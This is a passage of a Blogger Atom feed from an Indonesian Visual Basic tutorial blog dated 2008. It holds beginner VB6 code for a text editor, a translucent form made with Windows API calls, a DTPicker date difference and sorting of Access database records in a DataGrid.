href="http://www.ziddu.com/download/3074542/dbf2mdb.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-2763925530754984175?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/2763925530754984175/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=2763925530754984175' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2763925530754984175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2763925530754984175'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/01/program-konversi-database-foxpro-ke.html' title='Program konversi database foxpro ke database acces'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eGS0YABgxQo/SV2w-M7l6WI/AAAAAAAAAFY/O9Dtyuf3f-0/s72-c/convert.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-9162389726833273758</id><published>2008-12-27T12:17:00.004+07:00</published><updated>2008-12-27T12:58:00.182+07:00</updated><title type='text'>Membuat program text editor menggunakan VB</title><content type='html'>Mungkin dari kalian ada yang ingin membuat program text editor sendiri, yah smacam program notepad milik windows gtu deeh...Nah kali ini penulis mencoba membuat program text editor sederhana.&lt;br /&gt;Oke berikut tampilan dari program text editornya&lt;br /&gt;tambahkan common dialog control pada formnya&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SVW9WmbWnWI/AAAAAAAAAFQ/33SqB2hA6GY/s1600-h/texteditor.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 395px; height: 313px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SVW9WmbWnWI/AAAAAAAAAFQ/33SqB2hA6GY/s400/texteditor.bmp" alt="" id="BLOGGER_PHOTO_ID_5284337933759192418" border="0" /&gt;&lt;/a&gt;Dan berikut script kodenya&lt;br /&gt;&lt;br /&gt;Dim saved As Boolean&lt;br /&gt;&lt;br /&gt;Private Sub bkcolor_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;cd.ShowColor&lt;br /&gt;Text1.BackColor = cd.Color&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub close_Click()&lt;br /&gt;Dim retval As VbMsgBoxResult&lt;br /&gt;If saved = False Then&lt;br /&gt;retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")&lt;br /&gt;If retval = vbYes Then save_Click&lt;br /&gt;If retval = vbCancel Then Exit Sub&lt;br /&gt;End If&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub copy_Click()&lt;br /&gt;Clipboard.Clear&lt;br /&gt;Clipboard.SetText Text1.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cut_Click()&lt;br /&gt;Clipboard.Clear&lt;br /&gt;Clipboard.SetText Text1.Text&lt;br /&gt;Text1.Text = ""&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub font_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;With cd&lt;br /&gt;    .Flags = cdlCFBoth Or cdlCFEffects&lt;br /&gt;    .DialogTitle = "Choose a font"&lt;br /&gt;    .ShowFont&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;With Text1&lt;br /&gt;    .SelFontName = cd.FontName&lt;br /&gt;    .SelFontSize = cd.FontSize&lt;br /&gt;    .SelBold = cd.FontBold&lt;br /&gt;    .SelItalic = cd.FontItalic&lt;br /&gt;    .SelColor = cd.Color&lt;br /&gt;    .SelUnderline = cd.FontUnderline&lt;br /&gt;    .SelStrikeThru = cd.FontStrikethru&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Dim argz As String&lt;br /&gt;argz = Command&lt;br /&gt;If argz &lt;&gt; "" Then&lt;br /&gt;    openfile (argz)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;saved = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Resize()&lt;br /&gt;&lt;br /&gt;If Me.ScaleWidth &gt; 250 And Me.ScaleHeight &gt; 300 Then&lt;br /&gt;Text1.Width = Me.ScaleWidth - 250&lt;br /&gt;Text1.Height = Me.ScaleHeight - 300&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub new_Click()&lt;br /&gt;Dim retval As VbMsgBoxResult&lt;br /&gt;If saved = False Then&lt;br /&gt;retval = MsgBox("Do you want to save your file?", vbQuestion Or vbYesNoCancel, "Save file?")&lt;br /&gt;If retval = vbYes Then save_Click&lt;br /&gt;If retval = vbCancel Then Exit Sub&lt;br /&gt;End If&lt;br /&gt;Text1.Text = ""&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub open_Click()&lt;br /&gt;cd.ShowOpen&lt;br /&gt;Text1.LoadFile cd.FileName&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub paste_Click()&lt;br /&gt;If (Clipboard.GetFormat(rtfCFRTF) = True Or Clipboard.GetFormat(rtfCFText) = True) Then&lt;br /&gt;Text1.Text = Clipboard.GetText&lt;br /&gt;Else&lt;br /&gt;MsgBox "Clipboard contains unknown data type!", vbCritical, "Error"&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub save_Click()&lt;br /&gt;On Error GoTo canc&lt;br /&gt;cd.ShowSave&lt;br /&gt;Text1.SaveFile cd.FileName&lt;br /&gt;saved = True&lt;br /&gt;GoTo end1&lt;br /&gt;canc:&lt;br /&gt;saved = False&lt;br /&gt;end1:&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text1_KeyPress(KeyAscii As Integer)&lt;br /&gt;saved = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text1_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)&lt;br /&gt;If Button = vbRightButton Then&lt;br /&gt;PopupMenu edit&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub txtcolor_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;cd.ShowColor&lt;br /&gt;Text1.SelColor = cd.Color&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function openfile(ByVal fn As String)&lt;br /&gt;    Text1.FileName = fn&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Yups sgitua aja scriptnya, semoga pembahasan ini bermanfaat dan bisa menjadi bahan referensi bagi vbthok mania. Bagi yang tidak ingin pusing tetep silakan download scritpnya &lt;a href="http://www.ziddu.com/download/3027205/Tedit.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-9162389726833273758?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/9162389726833273758/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=9162389726833273758' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9162389726833273758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9162389726833273758'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-program-text-editor-menggunakan.html' title='Membuat program text editor menggunakan VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SVW9WmbWnWI/AAAAAAAAAFQ/33SqB2hA6GY/s72-c/texteditor.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5460049960478290510</id><published>2008-12-27T07:24:00.006+07:00</published><updated>2008-12-27T12:17:22.943+07:00</updated><title type='text'>Membuat form menjadi tembus pandang</title><content type='html'>Jika kalian ingin membuat form menjadi tembus pandang mungkin artikel berikut bisa sebagai referensi, dengan memanfaatkan fungsi API dari windows penulis akan mencoba membuat tampilan form menjadi terlihat transparan.&lt;br /&gt;Berikut preview dari form yang sudah dijalankan&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/SVWCPmrY1SI/AAAAAAAAAFI/BGhVFVK8jSc/s1600-h/transparan.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 309px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/SVWCPmrY1SI/AAAAAAAAAFI/BGhVFVK8jSc/s400/transparan.bmp" alt="" id="BLOGGER_PHOTO_ID_5284272942381323554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nah ini untuk scriptnya codenya :&lt;br /&gt;'script code untuk form-nya&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Dim bool As Boolean&lt;br /&gt;  GetWindowsVersion bool&lt;br /&gt;  If Not bool Then&lt;br /&gt;      MsgBox "Diperlukan Sistem Operasi Windows 2000 atau Lebih" &amp;amp; vbCrLf &amp;amp; "Program dibatalkan", , "Perhatian"&lt;br /&gt;      End&lt;br /&gt;  End If&lt;br /&gt;SetLayeredWindow Me.hWnd, True&lt;br /&gt;  SetLayeredWindowAttributes Me.hWnd, 0, (255 * 70) / 100, LWA_ALPHA&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'script code untuk module-nya&lt;br /&gt;Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long&lt;br /&gt;Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long&lt;br /&gt;Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long&lt;br /&gt;Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long&lt;br /&gt;Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long&lt;br /&gt;&lt;br /&gt;Public Type POINTAPI&lt;br /&gt;  x As Long&lt;br /&gt;  y As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type SIZE&lt;br /&gt;  cx As Long&lt;br /&gt;  cy As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type BLENDFUNCTION&lt;br /&gt;  BlendOp As Byte&lt;br /&gt;  BlendFlags As Byte&lt;br /&gt;  SourceConstantAlpha As Byte&lt;br /&gt;  AlphaFormat As Byte&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Const GWL_STYLE = (-16)&lt;br /&gt;Public Const GWL_EXSTYLE = (-20)&lt;br /&gt;Public Const WS_EX_LAYERED = &amp;amp;H80000&lt;br /&gt;Public Const ULW_COLORKEY = &amp;amp;H1&lt;br /&gt;Public Const ULW_ALPHA = &amp;amp;H2&lt;br /&gt;Public Const ULW_OPAQUE = &amp;amp;H4&lt;br /&gt;Public Const AC_SRC_OVER = &amp;amp;H0&lt;br /&gt;Public Const AC_SRC_ALPHA = &amp;amp;H1&lt;br /&gt;Public Const AC_SRC_NO_PREMULT_ALPHA = &amp;amp;H1&lt;br /&gt;Public Const AC_SRC_NO_ALPHA = &amp;amp;H2&lt;br /&gt;Public Const AC_DST_NO_PREMULT_ALPHA = &amp;amp;H10&lt;br /&gt;Public Const AC_DST_NO_ALPHA = &amp;amp;H20&lt;br /&gt;Public Const LWA_COLORKEY = &amp;amp;H1&lt;br /&gt;Public Const LWA_ALPHA = &amp;amp;H2&lt;br /&gt;&lt;br /&gt;Public Type OSVERSIONINFO&lt;br /&gt;  dwOSVersionInfoSize As Long&lt;br /&gt;  dwMajorVersion As Long&lt;br /&gt;  dwMinorVersion As Long&lt;br /&gt;  dwBuildNumber As Long&lt;br /&gt;  dwPlatformId As Long&lt;br /&gt;  szCSDVersion As String * 128&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Const VER_PLATFORM_WIN32_WINDOWS = 1&lt;br /&gt;Public Const VER_PLATFORM_WIN32_NT = 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Function IsLayeredWindow(ByVal hWnd As Long) As Boolean&lt;br /&gt;Dim WinInfo As Long&lt;br /&gt;&lt;br /&gt;  WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)&lt;br /&gt;  If (WinInfo And WS_EX_LAYERED) = WS_EX_LAYERED Then&lt;br /&gt;      IsLayeredWindow = True&lt;br /&gt;  Else&lt;br /&gt;      IsLayeredWindow = False&lt;br /&gt;  End If&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Sub SetLayeredWindow(ByVal hWnd As Long, _&lt;br /&gt;ByVal bIsLayered As Boolean)&lt;br /&gt;  Dim WinInfo As Long&lt;br /&gt;&lt;br /&gt;  WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)&lt;br /&gt;  If bIsLayered = True Then&lt;br /&gt;      WinInfo = WinInfo Or WS_EX_LAYERED&lt;br /&gt;  Else&lt;br /&gt;      WinInfo = WinInfo And Not WS_EX_LAYERED&lt;br /&gt;  End If&lt;br /&gt;  SetWindowLong hWnd, GWL_EXSTYLE, WinInfo&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;' ambil deskripsi sistem operasi&lt;br /&gt;Public Function GetWindowsVersion(ByRef IsWin2000 As Boolean) As String&lt;br /&gt;  Dim TheOS As OSVERSIONINFO&lt;br /&gt;  Dim strCSDVersion As String&lt;br /&gt;&lt;br /&gt;  TheOS.dwOSVersionInfoSize = Len(TheOS)&lt;br /&gt;  GetVersionEx TheOS&lt;br /&gt;  Select Case TheOS.dwPlatformId&lt;br /&gt;  Case VER_PLATFORM_WIN32_WINDOWS&lt;br /&gt;      If TheOS.dwMinorVersion &gt;= 10 Then&lt;br /&gt;          GetWindowsVersion = "Windows 98 version: "&lt;br /&gt;      Else&lt;br /&gt;          GetWindowsVersion = "Windows 95 version: "&lt;br /&gt;      End If&lt;br /&gt;  Case VER_PLATFORM_WIN32_NT&lt;br /&gt;      GetWindowsVersion = "Windows NT version: "&lt;br /&gt;  End Select&lt;br /&gt;&lt;br /&gt; ' uraikan informasi tambahan dari string dengan null char&lt;br /&gt;  If InStr(TheOS.szCSDVersion, Chr(0)) &lt;&gt; 0 Then&lt;br /&gt;      strCSDVersion = ": " &amp;amp; Left(TheOS.szCSDVersion, InStr(TheOS.szCSDVersion, Chr(0)) - 1)&lt;br /&gt;  Else&lt;br /&gt;      strCSDVersion = ""&lt;br /&gt;  End If&lt;br /&gt;  GetWindowsVersion = GetWindowsVersion &amp;amp; TheOS.dwMajorVersion &amp;amp; "." &amp;amp; _&lt;br /&gt;      TheOS.dwMinorVersion &amp;amp; " (Build " &amp;amp; TheOS.dwBuildNumber &amp;amp; strCSDVersion &amp;amp; ")"&lt;br /&gt;&lt;br /&gt;  ' set dalam mode parameter ByRef&lt;br /&gt;  If TheOS.dwMajorVersion = 5 Then&lt;br /&gt;      IsWin2000 = True&lt;br /&gt;  Else&lt;br /&gt;      IsWin2000 = False&lt;br /&gt;  End If&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Oke deeh silakan kalian mengembangkan tampilan form sesuai dengan ide kalian masing2, maaf kalo penulis terlalu simple memberikan contoh2 pembahasanya karena penulis juga masih amatiran...so kita sharing bareng disini...Oke?  yang pasti tetap semangat!!!&lt;br /&gt;oiya yang mo download source code &lt;a href="http://www.ziddu.com/download/3027190/MembuatFormTembusPandang.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5460049960478290510?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5460049960478290510/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5460049960478290510' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5460049960478290510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5460049960478290510'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-form-menjadi-tembus-pandang.html' title='Membuat form menjadi tembus pandang'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/SVWCPmrY1SI/AAAAAAAAAFI/BGhVFVK8jSc/s72-c/transparan.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3435474746524316453</id><published>2008-12-24T09:59:00.003+07:00</published><updated>2008-12-24T10:59:25.776+07:00</updated><title type='text'>Menghitung selisih hari menggunakan DTPICKER</title><content type='html'>Kemaren ada yang bertanya kepada penulis tentang bagaimana cara melihat selisih hari jika menggunakan komponen DTpicker, untuk itu penulis akan mencoba membahasnya biar vbthok mania yg pemula juga tahu, untuk yang sudah expert kyknya gak perlu deh..hehehe&lt;br /&gt;Berikut ini tampilan formnya&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SVGysNmMF4I/AAAAAAAAAFA/2RatSrInMAo/s1600-h/selisih.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 296px; height: 188px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SVGysNmMF4I/AAAAAAAAAFA/2RatSrInMAo/s400/selisih.bmp" alt="" id="BLOGGER_PHOTO_ID_5283200310516127618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Sebetulnya sangat mudah menghitung hari berdasarkan DTPicker ataupun menggunakan textbox so jangan dibikin pusing ya..hehehe&lt;br /&gt;ini untuk script codenya..&lt;br /&gt;&lt;br /&gt;Private Sub DTPicker2_CloseUp()&lt;br /&gt;Text1.Text = DTPicker2.Value - DTPicker1.Value&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;weedewwww cuma segitu aja script codenya?? yaiyalah kan gampang bgt, hehehe...&lt;br /&gt;So silakan berekspresi dengan VB dan tetep SEMANGAT!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3435474746524316453?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3435474746524316453/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3435474746524316453' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3435474746524316453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3435474746524316453'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/menghitung-selisih-hari-menggunakan.html' title='Menghitung selisih hari menggunakan DTPICKER'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SVGysNmMF4I/AAAAAAAAAFA/2RatSrInMAo/s72-c/selisih.bmp' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3175328141104073251</id><published>2008-12-23T10:50:00.004+07:00</published><updated>2008-12-23T10:56:03.916+07:00</updated><title type='text'>Teknik mengurutkan data</title><content type='html'>Dalam pembuatan aplikasi sebuah program biasanya memiki teknik pengurutan data yang berbeda beda, untuk itu penulis mencoba mengangkat topik ini sebagai bahan referensi bagi vbthok mania khususnya programmer pemula, untuk yang sudah advance kayaknya ini topik terlalu mudah. Jadi sowry yaa…hehehe…  &lt;p class="MsoNormal"&gt;Berikut ini komponen yang harus diaktifkan &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Microsoft DataGrid Control 6.0 (OLEDB)&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Microsoft ActiveX Data Objects 2.1 Library&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Oiya jangan lupa buat database dari microsoft acces yang terdiri field nama dan nilai ipk.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Kemudian buatlah form seperti tampilan yang dibuat penulis berikut&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" type="#_x0000_t75" style="'width:254.25pt;"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\nusapro\LOCALS~1\Temp\msohtml1\08\clip_image001.png" title="untitled2"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SVBglto81nI/AAAAAAAAAEg/EYZxJ327pNQ/s1600-h/untitled3.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 310px; height: 400px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SVBglto81nI/AAAAAAAAAEg/EYZxJ327pNQ/s400/untitled3.bmp" alt="" id="BLOGGER_PHOTO_ID_5282828563928372850" border="0" /&gt;&lt;/a&gt;&lt;!--[endif]--&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Kemudian tuliskan scriptnya berikut&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Option Explicit&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim cn As New ADODB.Connection&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim rs As New ADODB.Recordset&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Private Sub Casc_Click()&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'membuat koneksi baru pada databese ipk&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim cn2 As New ADODB.Connection&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim rs As New ADODB.Recordset&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn2.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; App.Path &amp;amp; "\ipk.mdb;Persist Security Info=False"&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn2.Open&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.CursorLocation = adUseClient&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengurutkan data secara Ascending, pertama seleksi dimulai dari field ipk lalu kemudian field nama&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.Open "select * from nilai order by ipk asc,nama", cn2, adOpenDynamic, adLockOptimistic&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengkoneksikan record ke DataGrid&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set DataGrid1.DataSource = rs&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Sub&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Private Sub CDesc_Click()&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'membuat koneksi baru pada databese ipk&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim cn3 As New ADODB.Connection&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Dim rs As New ADODB.Recordset&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn3.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; App.Path &amp;amp; "\ipk.mdb;Persist Security Info=False"&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn3.Open&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.CursorLocation = adUseClient&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengurutkan data secara Descending, pertama seleksi dimulai dari field ipk lalu kemudian field nama&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.Open "select * from nilai order by ipk desc,nama", cn3, adOpenDynamic, adLockOptimistic&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengkoneksikan record ke DataGrid&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set DataGrid1.DataSource = rs&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Sub&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Private Sub Form_Load()&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengkoneksikan dan membuka database ipk&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; App.Path &amp;amp; "\ipk.mdb;Persist Security Info=False"&lt;/p&gt;  &lt;p class="MsoNormal"&gt;cn.Open&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.CursorLocation = adUseClient&lt;/p&gt;  &lt;p class="MsoNormal"&gt;rs.Open "nilai", cn, adOpenDynamic, adLockOptimistic&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;'mengkoneksikan record ke DataGrid&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set DataGrid1.DataSource = rs&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Sub&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; 